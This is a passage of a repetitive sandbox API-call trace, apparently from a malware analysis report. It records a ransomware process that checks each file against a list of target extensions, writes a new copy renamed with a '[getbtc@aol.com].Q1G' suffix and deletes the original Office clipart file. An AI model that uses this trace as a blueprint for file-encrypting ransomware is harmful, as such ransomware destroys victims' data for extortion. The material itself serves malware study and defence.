lpString2="_.GIF") returned -1 [0054.707] lstrlenW (lpString=".pdf") returned 4 [0054.707] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.707] lstrlenW (lpString=".xls") returned 4 [0054.707] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.707] lstrlenW (lpString=".xlsx") returned 5 [0054.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.707] lstrlenW (lpString=".ppt") returned 4 [0054.707] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.707] lstrlenW (lpString=".zip") returned 4 [0054.708] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.708] lstrlenW (lpString=".rar") returned 4 [0054.708] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.708] lstrlenW (lpString=".bz2") returned 4 [0054.708] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.708] lstrlenW (lpString=".7z") returned 3 [0054.708] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.708] lstrlenW (lpString=".dbf") returned 4 [0054.708] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.708] lstrlenW (lpString=".1cd") returned 4 [0054.708] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.708] lstrlenW (lpString=".jpg") returned 4 [0054.708] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.708] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.708] lstrlenW (lpString="AG00011_.GIF") returned 12 [0054.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.708] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=7216) returned 1 [0054.709] CloseHandle (hObject=0x234) returned 1 [0054.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0054.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.709] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.709] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0054.709] GetLastError () returned 0x0 [0054.709] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x1c30, lpOverlapped=0x0) returned 1 [0054.711] WriteFile (in: hFile=0x238, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x1c40, lpOverlapped=0x0) returned 1 [0054.711] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.711] WriteFile (in: hFile=0x238, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.712] SetEndOfFile (hFile=0x238) returned 1 [0054.712] CloseHandle (hObject=0x238) returned 1 [0054.712] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.712] SetEndOfFile (hFile=0x234) returned 1 [0054.713] CloseHandle (hObject=0x234) returned 1 [0054.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0054.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.713] lstrlenW (lpString=".doc") returned 4 [0054.713] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.713] lstrlenW (lpString=".docx") returned 5 [0054.713] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.713] lstrlenW (lpString=".pdf") returned 4 [0054.713] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.713] lstrlenW (lpString=".xls") returned 4 [0054.713] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.713] lstrlenW (lpString=".xlsx") returned 5 [0054.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.713] lstrlenW (lpString=".ppt") returned 4 [0054.713] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.714] lstrlenW (lpString=".zip") returned 4 [0054.714] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.714] lstrlenW (lpString=".rar") returned 4 [0054.714] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.714] lstrlenW (lpString=".bz2") returned 4 [0054.714] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.714] lstrlenW (lpString=".7z") returned 3 [0054.714] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.714] lstrlenW (lpString=".dbf") returned 4 [0054.714] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.714] lstrlenW (lpString=".1cd") returned 4 [0054.714] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.714] lstrlenW (lpString=".jpg") returned 4 [0054.714] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.714] lstrlenW (lpString=".doc") returned 4 [0054.714] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.714] lstrlenW (lpString=".docx") returned 5 [0054.714] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.714] lstrlenW (lpString=".pdf") returned 4 [0054.714] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.714] lstrlenW (lpString=".xls") returned 4 [0054.714] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.714] lstrlenW (lpString=".xlsx") returned 5 [0054.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.714] lstrlenW (lpString=".ppt") returned 4 [0054.714] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.714] lstrlenW (lpString=".zip") returned 4 [0054.714] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.714] lstrlenW (lpString=".rar") returned 4 [0054.714] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.715] lstrlenW (lpString=".bz2") returned 4 [0054.715] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.715] lstrlenW (lpString=".7z") returned 3 [0054.715] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.715] lstrlenW (lpString=".dbf") returned 4 [0054.715] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.715] lstrlenW (lpString=".1cd") returned 4 [0054.715] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0054.715] lstrlenW (lpString=".jpg") returned 4 [0054.715] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.715] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.715] lstrlenW (lpString="AG00021_.GIF") returned 12 [0054.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.716] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=14873) returned 1 [0054.716] CloseHandle (hObject=0x234) returned 1 [0054.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0054.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.716] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.716] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0054.717] GetLastError () returned 0x0 [0054.717] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x3a19, lpOverlapped=0x0) returned 1 [0054.719] WriteFile (in: hFile=0x238, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0054.720] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.720] WriteFile (in: hFile=0x238, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.720] SetEndOfFile (hFile=0x238) returned 1 [0054.720] CloseHandle (hObject=0x238) returned 1 [0054.720] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.720] SetEndOfFile (hFile=0x234) returned 1 [0054.721] CloseHandle (hObject=0x234) returned 1 [0054.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0054.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0054.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0054.721] lstrlenW (lpString=".doc") returned 4 [0054.721] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.721] lstrlenW (lpString=".docx") returned 5 [0054.722] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.722] lstrlenW (lpString=".pdf") returned 4 [0054.722] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.722] lstrlenW (lpString=".xls") returned 4 [0054.722] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.722] lstrlenW (lpString=".xlsx") returned 5 [0054.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.722] lstrlenW (lpString=".ppt") returned 4 [0054.722] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0054.722] lstrlenW (lpString=".zip") returned 4 [0054.722] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.722] lstrlenW (lpString=".rar") returned 4 [0054.722] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.722] lstrlenW (lpString=".bz2") returned 4 [0054.722] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.722] lstrlenW (lpString=".7z") returned 3 [0054.722] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0054.722] lstrlenW (lpString=".dbf") returned 4 [0054.722] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0054.722] lstrlenW (lpString=".1cd") returned 4 [0054.722] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0054.722] lstrlenW (lpString=".jpg") returned 4 [0054.722] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0054.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0054.722] lstrlenW (lpString=".doc") returned 4 [0054.722] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.722] lstrlenW (lpString=".docx") returned 5 [0054.722] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.722] lstrlenW (lpString=".pdf") returned 4 [0054.722] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.723] lstrlenW (lpString=".xls") returned 4 [0054.723] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.723] lstrlenW (lpString=".xlsx") returned 5 [0054.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.723] lstrlenW (lpString=".ppt") returned 4 [0054.723] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0054.723] lstrlenW (lpString=".zip") returned 4 [0054.723] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.723] lstrlenW (lpString=".rar") returned 4 [0054.723] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.723] lstrlenW (lpString=".bz2") returned 4 [0054.723] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.723] lstrlenW (lpString=".7z") returned 3 [0054.723] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0054.723] lstrlenW (lpString=".dbf") returned 4 [0054.723] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0054.723] lstrlenW (lpString=".1cd") returned 4 [0054.723] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0054.723] lstrlenW (lpString=".jpg") returned 4 [0054.723] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.723] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.723] lstrlenW (lpString="AG00037_.GIF") returned 12 [0054.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.968] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=6684) returned 1 [0054.969] CloseHandle (hObject=0x234) returned 1 [0054.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0054.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.980] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.980] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.981] GetLastError () returned 0x0 [0054.981] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x1a1c, lpOverlapped=0x0) returned 1 [0054.982] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x1a20, lpOverlapped=0x0) returned 1 [0054.983] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.983] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.984] SetEndOfFile (hFile=0x214) returned 1 [0054.984] CloseHandle (hObject=0x214) returned 1 [0054.984] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.984] SetEndOfFile (hFile=0x234) returned 1 [0054.985] CloseHandle (hObject=0x234) returned 1 [0054.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0054.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0054.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0054.985] lstrlenW (lpString=".doc") returned 4 [0054.985] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.985] lstrlenW (lpString=".docx") returned 5 [0054.985] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.985] lstrlenW (lpString=".pdf") returned 4 [0054.985] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.985] lstrlenW (lpString=".xls") returned 4 [0054.985] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.985] lstrlenW (lpString=".xlsx") returned 5 [0054.985] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.985] lstrlenW (lpString=".ppt") returned 4 [0054.985] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0054.985] lstrlenW (lpString=".zip") returned 4 [0054.986] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.986] lstrlenW (lpString=".rar") returned 4 [0054.986] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.986] lstrlenW (lpString=".bz2") returned 4 [0054.986] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.986] lstrlenW (lpString=".7z") returned 3 [0054.986] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0054.986] lstrlenW (lpString=".dbf") returned 4 [0054.986] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0054.986] lstrlenW (lpString=".1cd") returned 4 [0054.986] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0054.986] lstrlenW (lpString=".jpg") returned 4 [0054.986] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0054.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0054.986] lstrlenW (lpString=".doc") returned 4 [0054.986] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.986] lstrlenW (lpString=".docx") returned 5 [0054.986] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.986] lstrlenW (lpString=".pdf") returned 4 [0054.986] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.986] lstrlenW (lpString=".xls") returned 4 [0054.986] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.986] lstrlenW (lpString=".xlsx") returned 5 [0054.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.986] lstrlenW (lpString=".ppt") returned 4 [0054.986] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0054.986] lstrlenW (lpString=".zip") returned 4 [0054.986] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.986] lstrlenW (lpString=".rar") returned 4 [0054.987] lstrcmpiW 